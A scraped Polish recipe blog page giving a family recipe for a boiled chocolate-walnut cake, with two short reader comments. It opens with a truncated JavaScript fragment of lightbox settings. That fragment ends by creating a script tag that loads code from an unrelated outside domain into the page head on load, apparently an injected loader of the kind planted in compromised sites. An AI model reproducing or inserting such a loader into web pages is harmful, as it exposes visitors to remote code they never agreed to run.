, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Tort czekoladowy gotowany, czyli „czarcie gówno” :)

Wydrukuj artykuł Wydrukuj artykuł

czekoladowy torcik, czyli "czarcie gówno"

Pora na kolejne smaki z dzieciństwa Taty. Oto obłędny, czekoladowy torcik zwany w naszej rodzinie… „czarcim gównem”. Można się uzależnić :)

Przepis pochodzi ze starusieńkiego, osobistego zeszytu sprawdzonych przepisów Babci Wisi z Przemyśla. Przepis został oznaczony krzyżykiem, czyli był szczególnie lubiany i polecany!

Przygotowaliśmy torcik pod bacznym okiem Babci, sprawującej wraz z Borysem specjalny nadzór techniczny.

Składniki:

  • 1/2 kg cukru
  • szklanka wody
  • 16 g cukru waniliowego
  • 250 g masła
  • 80 g kakao lub 120 g gorzkiej czekolady
  • 250 g mielonych orzechów włoskich (ja bym jeszcze orzechy uprażyła na patelni :)

Do rondla wlać wodę, wsypać cukier, cukier waniliowy i przygotować gęsty syrop (po zagotowaniu grzać na małym ogniu około 30-40 minut). Na kipiący syrop wrzucić masło i je rozpuścić. Potem dodać kakao i orzechy. Dobrze wymieszać i uważać by się nie zagotowało. Odstawić z ognia i dalej mieszać tak długo, aż trochę zgęstnieje i nieco ostygnie. Letnią masę wylać do tortownicy wysmarowanej masłem. Podawać na zimno.

Sama słodycz:)

Kategoria: Bez kategorii 2 komentarze »

2 odpowiedzi to “Tort czekoladowy gotowany, czyli „czarcie gówno” :)”

  1. Ania

    Cudo! Upiekę w najbliższy weekend. Dzięki za przepis:)!

  2. Agathorre

    mam nadzieję, że się udał :)


Skomentuj...



Początek strony